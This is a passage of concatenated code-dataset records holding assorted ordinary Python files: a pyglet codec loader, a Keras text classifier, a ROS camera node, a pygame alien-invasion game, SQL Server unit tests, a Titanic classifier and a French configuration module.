add_decoders(wave)\n except ImportError:\n pass\n\n try:\n if have_ffmpeg():\n from . import ffmpeg\n add_decoders(ffmpeg)\n except ImportError:\n pass\n\n\ndef have_ffmpeg():\n \"\"\"Check if FFmpeg library is available.\n\n Returns:\n bool: True if FFmpeg is found.\n\n .. versionadded:: 1.4\n \"\"\"\n try:\n from . import ffmpeg_lib\n if _debug:\n print('FFmpeg available, using to load media files.')\n return True\n\n except ImportError:\n if _debug:\n print('FFmpeg not available.')\n return False\n","sub_path":"pyglet/media/codecs/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"257309789","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 26 16:40:59 2018\n\n@author: alexey\n\"\"\"\n\n# LSTM for sequence classification in the IMDB dataset\nimport os, pickle, TextsHandling, keras, glob, re\nimport pandas as pd\nimport numpy as np\nfrom gensim import models, logging\nimport tensorflow as tf\n\ndef fragment2tensor (fragment_list, w2v, tensor_length = 150, vec_len = 200):\n try:\n vectors_list = w2v[fragment_list[:tensor_length]]\n if vectors_list.shape[0] < tensor_length: \n add_v = np.array((tensor_length-vectors_list.shape[0])*[[0]*vec_len])\n tensor = np.concatenate((np.array(vectors_list), add_v), axis = 0)\n else:\n tensor = np.array([vectors_list])\n except:\n tensor = np.array(tensor_length*[[0]*vec_len])\n return tensor \n\ndef flatten_all (iterable):\n\tfor elem in iterable:\n\t\tif not isinstance(elem, list):\n\t\t\tyield elem\n\t\telse:\n\t\t\tfor x in flatten_all(elem):\n\t\t\t\tyield x\n\ndef text2tensor(text):\n model_rout = r'./models'\n dict_rout = r'./dicts'\n\n #лемматизация полученного текста:\n lemm_texts = TextsHandling.text_coll_lemmatizer([text])\n\n #загрузка рабочего словоря (словоря модели word2vec)\n with open(os.path.join(dict_rout, 'w2v_vocab.pickle'), 'rb') as f:\n work_vocab = pickle.load(f)\n\n #оставим только слова из словаря модели (из рабочего словаря)\n lemm_texts_true_words = [[w for w in sen.split() if w in work_vocab] for sen in lemm_texts]\n w2v = models.Word2Vec.load(os.path.join(model_rout, 'w2v_model_abc_tech_20181130'))\n\n #сформируем тензоры для обучения сверточной нейронной сети:\n it = flatten_all(lemm_texts_true_words)\n\n lemm_texts_for_tens = []\n for w in it:\n lemm_texts_for_tens.append(w)\n\n tensor = fragment2tensor(lemm_texts_for_tens, w2v, tensor_length = 150, vec_len = 150)\n tensor3D=np.array([tensor]).reshape(1, 150, 150)\n \n return tensor3D\n\n\ndef classifier_cnn(text, cnn_classifier_list, tags_list, graph_defaut):\n #загрузка классификатора (модели сверточной нейронной сети)\n classes_list = []\n tensor3D = text2tensor(text)\n for cnn_classifier in cnn_classifier_list: \n with graph_defaut.as_default():\n class_est = cnn_classifier.predict_proba(tensor3D)\n classes_list.append(str(class_est[0][1]))\n class_tags = list(zip(tags_list, classes_list))\n res = ' '.join([str(tg) + ':' + str(est) for tg, est in class_tags])\n return res#' '.join(classes_list)\n\n#test:\nif __name__ == '__main__':\n model_rout = r'./models'\n dict_rout = r'./dicts'\n\n\n text = 'Редизайн сайта ориг.рф.Макет https://moqups.com/abvsait/iG6S5n1N/p:aff6727f3 Бриф https://docs.google.com/document/d/1uxRwbyijToOPG4B-zyRq66y0ISdXAP_vinZMH01Jw-A/pub Смета: Дизайн и верстка на основании вашей заготовки из архива 17 000 р Сборка на админке 8 000 р. с переносом контента Итого 25 000 р'\n global graph_defaut\n graph_defaut = tf.get_default_graph()\n \n global cnn_classifier_list\n cnn_classifier_list = []\n \n global tags_list\n tags_list = []\n #fnms = ['cnn_model_abc_site_20181208_tensor150_tag105.h5', 'cnn_model_abc_site_20181208_tensor150_tag90.h5']\n #fnms = ['cnn_model_abc_site_20181130_tensor150.h5']\n #fnms = 'cnn_model_abc_site_20181130_tensor150.h5'\n #for f_cnn in fnms:\n for cnn_f_name in glob.glob(os.path.join(model_rout, '*.h5')):\n print(cnn_f_name)\n tags_list.append(re.findall('tag\\d+', cnn_f_name)[0]) \n cnn_classifier_list.append(keras.models.load_model(cnn_f_name))\n \n res = classifier_cnn(text, cnn_classifier_list, tags_list, graph_defaut)\n print(res)\n ","sub_path":"deploy_multiclass/Classifier_multitags_func.py","file_name":"Classifier_multitags_func.py","file_ext":"py","file_size_in_byte":4004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"485385687","text":"# -*- coding: utf-8 -*-\nfrom __future__ import annotations\n\nimport bpy\nfrom PyR3.shortcut.context import Objects\nfrom PyR3.shortcut.material import set_material\nfrom PyR3.shortcut.modifiers import Boolean, Solidify\n\nfrom pygerber.constants import Polarity\nfrom pygerber.renderer import Renderer\n\n\nclass BlenderUtilMethods:\n\n renderer: Renderer\n\n @property\n def tree(self) -> Objects:\n return self.renderer.tree\n\n @tree.setter\n def tree(self, value: Objects):\n self.renderer.tree = value\n\n @property\n def material(self):\n return self.renderer.material\n\n @property\n def thickness(self):\n if self.renderer.state.polarity == Polarity.DARK:\n return self.renderer.thickness\n else:\n return self.renderer.thickness * 2.0\n\n @property\n def inner_thickness(self):\n if self.renderer.state.polarity == Polarity.DARK:\n return self.renderer.thickness * 2.0\n else:\n return self.renderer.thickness * 3.0\n\n def commit_mesh_to_root(self, ob: bpy.types.Object):\n if self.renderer.state.polarity == Polarity.DARK:\n set_material(ob, self.renderer.material)\n if self.tree is not None:\n self.commit_dark(ob)\n else:\n self.tree = Objects([ob])\n else:\n if self.tree is not None:\n self.commit_clear(ob)\n\n def commit_clear(self, ob):\n for submesh in self.tree:\n Boolean(submesh, ob, \"DIFFERENCE\").apply()\n Objects.delete(ob)\n\n def commit_dark(self, ob):\n self.tree.append(ob)\n\n def solidify(self, ob, thickness):\n Solidify(ob, float(thickness), offset=0.0, use_even_offset=True).apply()\n","sub_path":"src/pygerber/parser/blender/apertures/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"554962504","text":"#!/usr/bin/env python\n\n\nimport cv2\nimport rospy\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge\n\nIMAGE_SIZE = rospy.get_param('IMAGE_SIZE')\nCAMERA_INDEX = rospy.get_param('CAMERA_INDEX')\nCV_WAITKEY = rospy.get_param('CV_WAITKEY')\n\n\ndef resize_image_to_square_size(image):\n w, h, _ = image.shape\n if h != w:\n h_to_cut = (h - w)//2\n sqr_image = image[0:w, h_to_cut:h - h_to_cut]\n return sqr_image\n else:\n return image\n\n\nrospy.init_node('camera_node', anonymous=True)\n\ncv_bridge = CvBridge()\nimage_publisher = rospy.Publisher(\"square_image\", Image, queue_size=1)\n\nRUN = True\n\nstream = cv2.VideoCapture(CAMERA_INDEX)\nstream.set(cv2.CAP_PROP_FRAME_WIDTH, 1280)\nstream.set(cv2.CAP_PROP_FRAME_HEIGHT, 960)\nstream.set(cv2.CAP_PROP_FPS, 30)\n\nwhile RUN and not rospy.is_shutdown():\n ret, img = stream.read()\n if ret:\n square_img = resize_image_to_square_size(img)\n resized_sqaure_img = square_img\n resized_sqaure_img = cv2.resize(square_img, (IMAGE_SIZE, IMAGE_SIZE))\n image_message = cv_bridge.cv2_to_imgmsg(resized_sqaure_img, \"bgr8\")\n image_publisher.publish(image_message)\n if cv2.waitKey(CV_WAITKEY) & 0xFF == 27:\n RUN = not RUN\n stream.release()\n cv2.destroyAllWindows()\n else:\n print(\"Incorrect camera index << {} >>!\".format(CAMERA_INDEX))\n RUN = not RUN\n","sub_path":"nodes/camera_node.py","file_name":"camera_node.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"77098886","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n#\r\n# Author: Daniel Kettle\r\n# Date: July 29 2013\r\n#\r\n\r\nimport sys, os\r\nsys.path.append(os.path.join(os.getcwd(), '..'))\r\nsys.path.append(os.path.join(os.getcwd(), '..', 'adapters'))\r\n\r\nimport unittest\r\nfrom squall import Table, Fields, Value, Transaction, Where\r\nimport squallserver as tsql\r\n\r\nclass Test(unittest.TestCase):\r\n\r\n\r\n def setUp(self):\r\n self.sqlobj = squall.Session().connect('rfid', adapter='sqlserver', trusted=True, driver='SQL Server')\r\n self.module = squall.db('sqlserver')\r\n \r\n self.sqlselect = tsql.Select(Table('t'), Fields('*'), Where('x', '=', Value(1)))\r\n self.sqlinsert = tsql.Insert(Table('t'), Fields(), [Value(1), Value(2), Value(3)])\r\n self.sqldelete = tsql.Delete(Table('t'), Where('x', '=', Value(1)))\r\n self.sqlupdate = tsql.Update(Table('t'), Fields('y', 'z'), \r\n (Value(5), Value(9)), Where('x', '=', Value(1)))\r\n \r\n assert not self.module is None, 'Python Driver not imported successfully'\r\n assert not self.sqlobj is None, 'Squallserver not imported correctly or invalid'\r\n vbmsql = tsql.Verbatim('CREATE TABLE t(x INTEGER, y INTEGER, z INTEGER, CONSTRAINT x_pk PRIMARY KEY(x));')\r\n createtransaction = tsql.Transaction(self.sqlobj, vbmsql).run()\r\n \r\n def testSelect(self):\r\n print(\"Test: Select Insert Statement\")\r\n # , self.sqlselect, self.sqldelete\r\n \r\n #sqltran = tsql.Transaction(self.sqlobj, self.sqlinsert)\r\n print(self.sqlselect)\r\n \r\n def testInsertAndDelete(self):\r\n print(\"Test: Inserting test data into t table\")\r\n sqltran = tsql.Transaction(self.sqlobj)\r\n self.assertRaises(squall.EmptyTransactionException, sqltran.run)\r\n sqltran.add(self.sqlinsert, self.sqlselect, self.sqldelete)\r\n print(\"Test: Selecting data we inserted\")\r\n \r\n def testUpdate(self):\r\n sqltran = tsql.Transaction(self.sqlobj, self.sqlinsert, self.sqlupdate)\r\n newselect = tsql.Select(Table('t'), Fields('*'), Where('z', '=', Value(9)))\r\n sqltran.add(newselect, self.sqldelete)\r\n sqltran.run()\r\n \r\n# self.sqlobj.insert('INSERT INTO t (x, y, z) VALUES (?, ?, ?)', (5, 4, 3))\r\n# self.sqlobj.update('UPDATE t SET y = ? WHERE x = ?', (9999, 5))\r\n# self.sqlobj.select('SELECT x, y, z FROM t WHERE y = 9999', ())\r\n# self.sqlobj.delete('DELETE FROM t WHERE x = 5', ())\r\n \r\n \r\n def tearDown(self):\r\n vbmsql = tsql.Verbatim('DROP TABLE t;')\r\n droptransaction = tsql.Transaction(self.sqlobj, vbmsql).run()\r\n\r\nif __name__ == \"__main__\":\r\n #import sys;sys.argv = ['', 'Test.testName']\r\n unittest.main()","sub_path":"tests/DbSqlServer.py","file_name":"DbSqlServer.py","file_ext":"py","file_size_in_byte":2771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"252021786","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport logging\n\nimport torch\n\nfrom dwi_ml.models.embeddings_on_tensors import \\\n keys_to_embeddings as keys_on_tensors\n\n\ndef _verify_all_outputs(input_data, keys_to_embeddings, nb_features):\n logging.debug(\"Input is:\\n{}\".format(input_data))\n\n logging.debug(' Testing identity embedding...')\n cls = keys_to_embeddings['no_embedding']\n model = cls(input_size=nb_features, output_size=nb_features)\n output = model(input_data)\n logging.debug(' ==> Should return itself. Output is:\\n{}'\n .format(output))\n if isinstance(output, torch.Tensor):\n assert torch.equal(input_data, output)\n else:\n assert torch.equal(input_data.data, output.data)\n\n logging.debug(' Testing neural network embedding, ...')\n cls = keys_to_embeddings['nn_embedding']\n model = cls(input_size=nb_features, output_size=8)\n output = model(input_data)\n logging.debug(' ==> Should return output of size 8. Result is:\\n{}'\n .format(output))\n if isinstance(output, torch.Tensor):\n nb_outputs, size_outputs = output.size()\n else:\n nb_outputs, size_outputs = output.data.size()\n assert size_outputs == 8\n\n\ndef test_embeddings():\n logging.getLogger().setLevel(level='DEBUG')\n\n logging.debug(\"Unit test: embeddings on tensors\")\n\n # Two inputs with 3 features\n tensor_a = torch.as_tensor([[0.0, 1.0, 2.2],\n [10.3, 11.4, 12.5]])\n _verify_all_outputs(tensor_a, keys_on_tensors, nb_features=3)\n\n\nif __name__ == '__main__':\n test_embeddings()\n","sub_path":"dwi_ml/unit_tests/test_embeddings.py","file_name":"test_embeddings.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"604855457","text":"import os\nimport shutil\n\n\nzz=[]\nwith open('../labels.txt', 'r') as f:\n lines=f.readlines()\n for i,l in enumerate(lines):\n w=False\n s=l.split(' ')\n for q in s:\n if q=='1':\n w=True\n if w==False:\n zz.append(i+1)\n\nwith open('suspects.txt', 'w') as f:\n for item in zz:\n f.write(\"%s\\n\" % item)\n\n ","sub_path":"Wranglings/wrangling6.py","file_name":"wrangling6.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"518084209","text":"#!/usr/bin/env python\n# @Time: \n# @Author:童鹏\n# @File:aline_invasion.py\n\n\nimport sys\nfrom time import sleep\nimport pygame\n\nfrom settings import Settings\nfrom ship import Ship\nfrom bullet import Bullet\nfrom aline import Alien\nfrom game_stats import GameStats\nfrom button import Button\nfrom scoreboard import Scoreboard\n\nclass AlineInvasion:\n \"\"\"管理游戏资源和行为的类\"\"\"\n\n def __init__(self):\n \"\"\"初始化游戏并创建游戏资源\"\"\"\n\n # 初始化背景设置\n pygame.init()\n\n self.sts = Settings()\n self.screen = pygame.display.set_mode(\n (self.sts.screen_width, self.sts.screen_height))\n pygame.display.set_caption(\"Aline Invasion\")\n\n self.ship = Ship(self)\n\n # 创建用于储存游戏统计数据的实例\n self.stats = GameStats(self)\n\n self.bullets = pygame.sprite.Group()\n self.aliens = pygame.sprite.Group()\n\n self._create_freet()\n # 创建Play按钮\n self.play_button = Button(self, \"Play\")\n self.sb = Scoreboard(self)\n\n def _create_freet(self):\n \"\"\" 创建外星人\"\"\"\n alien = Alien(self)\n # 创建实例计算一行外星人\n ship_height = self.ship.rect.height\n alien_width, alien_height = alien.rect.size\n space_x = self.sts.screen_width - (2*alien_width)\n numberx_aliens = space_x // (2*alien_width)\n space_y = self.sts.screen_height - (3*alien_height) - ship_height\n numbery_aliens = space_y // (2*alien_height)\n self._create_aliens(numberx_aliens, numbery_aliens)\n\n def _create_aliens(self, numberx_aliens, numbery_aliens):\n \"\"\"创建外星人并存入编组\"\"\"\n for y_alien in range(numbery_aliens):\n for x_alien in range(numberx_aliens):\n alien = Alien(self)\n alien_width, alien_height = alien.rect.size\n alien.x = alien_width + 2*alien_width*x_alien\n alien.rect.x = alien.x\n alien.rect.y = alien_height + 2*alien_height*y_alien\n self.aliens.add(alien)\n\n def run_game(self):\n \"\"\"开始游戏的主循环\"\"\"\n while True:\n self._check_events()\n self.ship.update()\n self._update_bullet()\n self._update_aliens()\n self._update_screen()\n\n # 判断游戏结束\n if self.stats.ships_num <= 0:\n self.stats.game_begin = False\n break\n\n def _update_aliens(self):\n \"\"\"更新外星人位置\"\"\"\n # 先判断是否触碰边缘向下移动\n self._aliens_dip()\n self.aliens.update()\n\n # 检测飞船与外星人碰撞并删除再创建新飞船\n if pygame.sprite.spritecollideany(self.ship, self.aliens):\n self._ship_hit()\n # 判断外星人是否到底部边缘并创建新飞船\n if self._check_aliens_bottom():\n self._ship_hit()\n\n def _check_aliens_bottom(self):\n \"\"\"检测外星人是否到达底部\"\"\"\n screen_rect = self.screen.get_rect()\n for alien in self.aliens.sprites():\n if alien.rect.bottom >= screen_rect.bottom:\n return True\n\n def _ship_hit(self):\n \"\"\"响应飞船被撞到或者其他飞船击毁条件\"\"\"\n # 暂停0.5秒,飞船数量减一\n self.stats.ships_num -= 1\n self.sb.prep_ships()\n\n self.bullets.empty()\n self.aliens.empty()\n # 创建新的飞船\n self._create_freet()\n self.ship.create_ship()\n #\n self.stats.game_begin = False\n pygame.mouse.set_visible(True)\n # 重置游戏\n self.sts.setting_speed()\n self.stats.score = 0\n self.sb.prep_score()\n # self.play_button = Button(self, \"Play\")\n\n sleep(0.5)\n\n def _aliens_dip(self):\n \"\"\"判断触碰屏幕\"\"\"\n for alien in self.aliens.sprites():\n if alien.check_edges():\n alien.rect.y += self.sts.drop_speed\n alien.direction *= -1\n\n def _update_bullet(self):\n \"\"\"更新子弹\"\"\"\n self.bullets.update()\n for bullet in self.bullets.copy():\n if bullet.rect.bottom <= 0:\n self.bullets.remove(bullet)\n\n # 删除碰撞的子弹与外星人并创建新的外星人\n collisions = pygame.sprite.groupcollide(self.bullets, self.aliens, True, True)\n if collisions:\n for aliens in collisions.values():\n self.stats.score += self.sts.alien_points * len(aliens)\n self.sb.prep_score()\n self.sb.prep_high_score()\n\n if not self.aliens:\n self.stats.ship_level += 1\n self.sb.prep_level()\n self._create_freet()\n self.sts.increase_speed()\n\n def _check_events(self):\n \"\"\"响应按键和鼠标事件\"\"\"\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n\n elif event.type == pygame.KEYDOWN:\n self._events_keydown(event)\n\n elif event.type == pygame.KEYUP:\n self._events_keyup(event)\n\n elif event.type == pygame.MOUSEBUTTONDOWN:\n mouse_pos = pygame.mouse.get_pos()\n self._check_mouse(mouse_pos)\n\n def _check_mouse(self, mouse_pos):\n \"\"\"响应鼠标事件\"\"\"\n if not self.stats.game_begin and self.play_button.rect.collidepoint(mouse_pos):\n # 重置游戏\n self.stats.reset_stats()\n self.stats.game_begin = True\n # 清空子弹和外星人\n self.aliens.empty()\n self.bullets.empty()\n # 再创建\n self._create_freet()\n self.ship.create_ship()\n # 隐藏鼠标光标\n pygame.mouse.set_visible(False)\n\n def _events_keydown(self, event):\n \"\"\"响应按键\"\"\"\n if event.key == pygame.K_RIGHT:\n # 向右移动飞船\n self.ship.moving_right = True\n elif event.key == pygame.K_LEFT:\n # 向左移动飞船\n self.ship.moving_left = True\n elif event.key == pygame.K_q:\n sys.exit()\n\n elif event.key == pygame.K_SPACE:\n self._fire_bullet()\n\n def _fire_bullet(self):\n \"\"\"按空格键创建发射子弹\"\"\"\n new_bullet = Bullet(self)\n self.bullets.add(new_bullet)\n\n def _events_keyup(self, event):\n \"\"\"松开按键\"\"\"\n if event.key == pygame.K_RIGHT:\n self.ship.moving_right = False\n elif event.key == pygame.K_LEFT:\n self.ship.moving_left = False\n\n def _update_screen(self):\n \"\"\"更新屏幕图像,并切换新屏幕\"\"\"\n\n # 每次都重绘屏幕\n self.screen.fill(self.sts.bg_color)\n\n if not self.stats.game_begin:\n self.play_button.draw_button()\n\n else:\n self.ship.blitme()\n for bullet in self.bullets.sprites():\n bullet.draw_bullet()\n self.aliens.draw(self.screen)\n\n self.sb.show_score()\n # 让最近绘制的屏幕可见\n pygame.display.update()\n\n\nif __name__ == '__main__':\n # 创建游戏并运行\n\n ai = AlineInvasion()\n ai.run_game()\n\n","sub_path":"aline_invasion.py","file_name":"aline_invasion.py","file_ext":"py","file_size_in_byte":7324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"232582027","text":"from data_processing import data_proc\nimport numpy as np\nimport pandas as pd\nimport sys\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn import svm\n\n#filling_method = int(sys.argv[1])\n#training_method = sys.argv[2]\n\ndef split_data(data_frame):\n x_df,y_df =data_frame.loc[:,data_frame.columns != 'Survived'] ,data_frame['Survived']\n x_train, x_valid, y_train, y_valid = train_test_split(x_df, y_df, test_size=0.2, random_state=100)\n return x_train, x_valid, y_train, y_valid\n\ndef data_normalize(x_train_df,x_valid_df,x_test_df):\n scaler = MinMaxScaler()\n x_train_df_mms, x_valid_df_mms, x_test_df_mms = scaler.fit_transform(x_train_df),scaler.transform(x_valid_df),\\\n scaler.transform(x_test_df)\n return x_train_df_mms, x_valid_df_mms, x_test_df_mms\n\n\ndef train_mod(x_train_mms,x_valid_mms,y_train, method_type):\n\n if method_type == 'lr':\n lr = LogisticRegression(C=1)\n lr.fit(x_train_mms, y_train)\n test_result = lr.predict(x_valid_mms)\n result_value = np.array(test_result).reshape(-1)\n return result_value, lr\n\n elif method_type == 'svm':\n svm_c = svm.SVC(kernel='rbf',gamma=20,decision_function_shape='ovr')\n svm_c.fit(x_train_mms, y_train)\n test_result = svm_c.predict(x_valid_mms)\n result_value = np.array(test_result).reshape(-1)\n return result_value, svm_c\n return\n\ndef accuracy(real_v,result_v):\n result_dic = {'real value': real_v, 'predict value': result_v}\n result_df = pd.DataFrame(data=result_dic)\n result_df['result'] = result_df['real value'] ^ result_df['predict value']\n tmp_sum = sum(result_df['result'])\n accuracy_of_test = 1 - tmp_sum / len(result_df['result'])\n print(accuracy_of_test)\n\n\nget_data = data_proc(\"./raw_data/train.csv\", \"./raw_data/test.csv\")\n\n#get_data.raw_describe()\n#print('\\n')\n#get_data.missing_data_showing()\n\ntrain_df, test_df = get_data.total_data_proc(2)\nx_tr, x_val, y_tr, y_val = split_data(train_df)\nx_tr_mms, x_val_mms, x_test_mms = data_normalize(x_tr, x_val, test_df)\nreal_v = np.array(y_val).reshape(-1)\nresult_v, modl = train_mod(x_tr_mms,x_val_mms,y_tr,'svm')\naccuracy(real_v, result_v)\n\n#test_result = modl.predict(x_test_mms)\n#print(test_result)","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"198455433","text":"#! /usr/bin/env python3\n\nfrom sklearn.datasets import load_iris\nimport numpy as np\n\n# Load Iris data set\ndata = load_iris()\nx = data['data']\n\n# Randomly sample 10 records from the loaded dataset\nno_records = 10\nx_sample_index = np.random.choice(range(x.shape[0]), no_records)\nprint(x[x_sample_index, :])\n","sub_path":"ai/srcs/simple_sample.py","file_name":"simple_sample.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"118137156","text":"__author__ = 'ohell_000'\r\n\r\n\r\nimport threading\r\nimport time\r\n\r\n\r\ndef do_update():\r\n from mobile import MOBILE_LIST\r\n\r\n for m in [m for m in MOBILE_LIST if m.is_player]:\r\n # Handle command lag and the command buffer\r\n if m.lag > 0:\r\n m.lag = max(m.lag - 0.25, 0)\r\n else:\r\n if len(m.handler.command_buffer) > 0:\r\n m.handle_input()\r\n\r\n # # Update and remove affects\r\n # for m in _.mobiles:\r\n # if len(m.affects) == 0:\r\n # continue\r\n # for a in m.affects:\r\n # if a.duration == 0:\r\n # a.remove_affect()\r\n # else:\r\n # a.duration -= 0.25\r\n #\r\n # for a in _.areas:\r\n # a.resetTimer -= 0.25\r\n # if a.resetTimer <= 0:\r\n # a.resetTimer = 360\r\n # a.reset()\r\n\r\n\r\nclass UpdateLoop(threading.Thread):\r\n def __init__(self):\r\n print('Update loop initialized')\r\n threading.Thread.__init__(self)\r\n\r\n def run(self):\r\n i = 0\r\n while True:\r\n # Do an update round every quarter of a second\r\n do_update()\r\n # Do a combat round every three seconds\r\n if i == 12:\r\n # combat.do_full_round()\r\n i = 0\r\n else:\r\n i += 1\r\n time.sleep(0.25)","sub_path":"update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"347821198","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 8 déc. 2016\n\n@author: lejeune\n'''\n\n\nimport os\n\n# LOG_FILENAME = 'info.log'\n\n\nclass OBJECT(object):\n '''cette meta classe permet d'avoir la méthode d'affichage dans tous les héritages'''\n\n _counter = 2 # ce compteur sert pour indenter les lignes affichages des attributs\n\n def __repr__(self):\n '''améliorer le visuel de présentation de la classe (<'nom' {attributs*}>)'''\n keys = sorted(self.__dict__.keys()) # liste des noms des attributs triés\n max_spaces = max(len(w) for w in keys) + 2 # largeur du plus grand nom + les 2 apostrophes\n # faire la spécification de formattage {:>0}{!r:<11}: {!r:}\n format_string = '{{:>{}}}{{!r:<{}}}: {{{}}}'.format(OBJECT._counter, max_spaces, '!r:')\n OBJECT._counter += 2 # incrémenter l'indentation\n result = (format_string.format('', k, self.__dict__[k]) for k in keys) # mettre en forme la liste d'attributs\n return '<{!r} {}\\n{}{}>'.format(self.__class__.__name__, 'attributes{', '\\n'.join(result), '}') # ajouter une entête\n\n __str__ = __repr__\n\n\nclass CONSTANTS(OBJECT):\n '''cette classe permets de déclarer des constantes'''\n def __init__(self):\n super(CONSTANTS, self).__init__() # faire l'init de la classe mère\n self.log_filename = 'info.log'\n\n\nclass MDict(dict):\n '''subclass dict to create a sorted dict class that prints itself in a predictable\n order and don't raise KeyError exception if key not exist'''\n def __repr__(self):\n '''prints itself in a predictable order'''\n keys = sorted(self.keys())\n result = (\"{!r}: {!r}\".format(k, self[k]) for k in keys)\n return \"{{{}}}\".format(\", \".join(result))\n\n __str__ = __repr__\n\n def __getitem__(self, key):\n '''customized dict, don't raise KeyError exception, return None instead'''\n return dict.__getitem__(self, key) if key in self else None\n\n\nclass UnknownFolder(EnvironmentError):\n '''pour inteception d'erreur si retour 'false' de os.path.isdir/os.path.isfile\n if os.path.isdir(pathname): ok else: raise UnknownFolder('dossier', pathname)'''\n def __init__(self, msg, *args, **kwargs):\n super(UnknownFolder, self).__init__(msg, *args, **kwargs)\n self.msg = msg\n self.args = args\n\n def __str__(self):\n return repr('%s %s %s' % (self.msg, self.args[0], 'inconnu'))\n\n# ---------------------------------------------\n# classes de constantes associées aux classes\n# ! le nom de la classe des constantes associées est le nom de la classe en majuscule\n# ---------------------------------------------\n\n\nclass FOLDER(CONSTANTS):\n '''docstring'''\n def __init__(self):\n super(FOLDER, self).__init__() # faire l'init de la classe mère\n self.pattern = MDict({'name': r'^\\d{7}[A-Z]{3}$'}) # ajouter des constantes/variables locales\n\n\nclass MYCLASS(CONSTANTS):\n '''docstring'''\n def __init__(self):\n super(MYCLASS, self).__init__() # faire l'init de la classe mère\n self.name_regex = r'^[A-Za_z]*$' # ajouter des constantes/variables locales\n\n\nclass ADDRESS(CONSTANTS):\n '''docstring'''\n def __init__(self):\n super(ADDRESS, self).__init__() # faire l'init de la classe mère\n self.filename = MDict({'name': 'address', # chemin du fichier csv contenant les données\n 'extension': 'csv',\n 'pathname': 'data'})\n self.column_labels = ('TITRE ABREGE', 'ADRESSE PORT BASE') # label des colonnes à exploiter\n\n\nclass SENDMAIL(CONSTANTS):\n '''docstring'''\n def __init__(self):\n super(SENDMAIL, self).__init__() # faire l'init de la classe mère\n self.remote = MDict({'name': 'brasil', 'user': 'lejeune', 'protocole': 'ssh'})\n self.smtp = MDict({'name': 'smtp', 'port': '587', 'domaine': 'shom.fr'})\n self.tmpdir = MDict({'name': 'tmp', 'path': r'h:\\coriolis'})\n self.datafile = MDict({'name': 'transmission',\n 'ext': 'docx',\n 'path': 'CR'})\n self.pythonfile = MDict({'name': 'sendfilebymail',\n 'ext': 'py',\n 'path': os.path.dirname(os.path.abspath(__file__))})\n self.putty = MDict({'name': 'plink.exe', # command line ssh, telnet and rlogin client\n 'path': r'C:\\Program Files (x86)\\PuTTY'})\n\n\nclass DORIS(CONSTANTS):\n '''docstring'''\n def __init__(self):\n super(DORIS, self).__init__() # faire l'init de la classe mère\n self.filename = MDict({'name': '1610081500', # chemin du fichier nsvp contenant les données aammjjhhmm\n 'ext': 'nsvp',\n 'path': 'data'})\n self.namespace = MDict({'ns2': 'http://www.doris-svp.org'})\n self.attrib = MDict({'date': {'item': 'date', 'attr': ('year', 'month', 'day'), 'xpath': r'./projectMetadatas/', 'class': 'Date'},\n 'time': {'item': 'time', 'attr': ('hour', 'minute', 'second'), 'xpath': r'./projectMetadatas/', 'class': 'Time'},\n 'vent': {'item': 'wind', 'attr': ('direction', 'strength'), 'xpath': r'./projectMetadatas/', 'class': 'Vector'},\n 'houle': {'item': 'swell', 'attr': ('direction', 'period'), 'xpath': r'./projectMetadatas/', 'class': 'Vector'},\n 'porteur': {'item': 'carrier', 'attr': ('name', 'code'), 'xpath': r'./projectMetadatas/', 'class': 'Porteur'},\n 'serial': {'item': 'serialNumber', 'xpath': r'./projectMetadatas/', 'class': 'Serial'},\n 'number': {'item': 'sequence', 'xpath': r'./projectMetadatas/', 'class': 'Number'},\n 'depth': {'item': 'depth', 'xpath': r'./projectMetadatas/', 'class': 'Depth'},\n 'pression': {'item': 'atmosphericPressure', 'xpath': r'./projectMetadatas/', 'class': 'Pression'},\n 'salinity': {'item': 'salinity', 'xpath': r'./projectMetadatas/', 'class': 'Salinity'},\n 'tmpSurface': {'item': 'surfaceWaterTemperature', 'xpath': r'./projectMetadatas/', 'class': 'Temperature'},\n 'tmpAirSec': {'item': 'dryAirTemperature', 'xpath': r'./projectMetadatas/', 'class': 'Temperature'},\n 'tmpAirHum': {'item': 'humidAirTemperature', 'xpath': r'./projectMetadatas/', 'class': 'Temperature'},\n 'tnmg': {'item': 'tnmg', 'xpath': r'./projectMetadatas/', 'class': 'Tnmg'},\n 'longitude': {'item': 'longitude', 'xpath': r'./projectMetadatas/', 'class': 'AngleDM'},\n 'latitude': {'item': 'latitude', 'xpath': r'./projectMetadatas/', 'class': 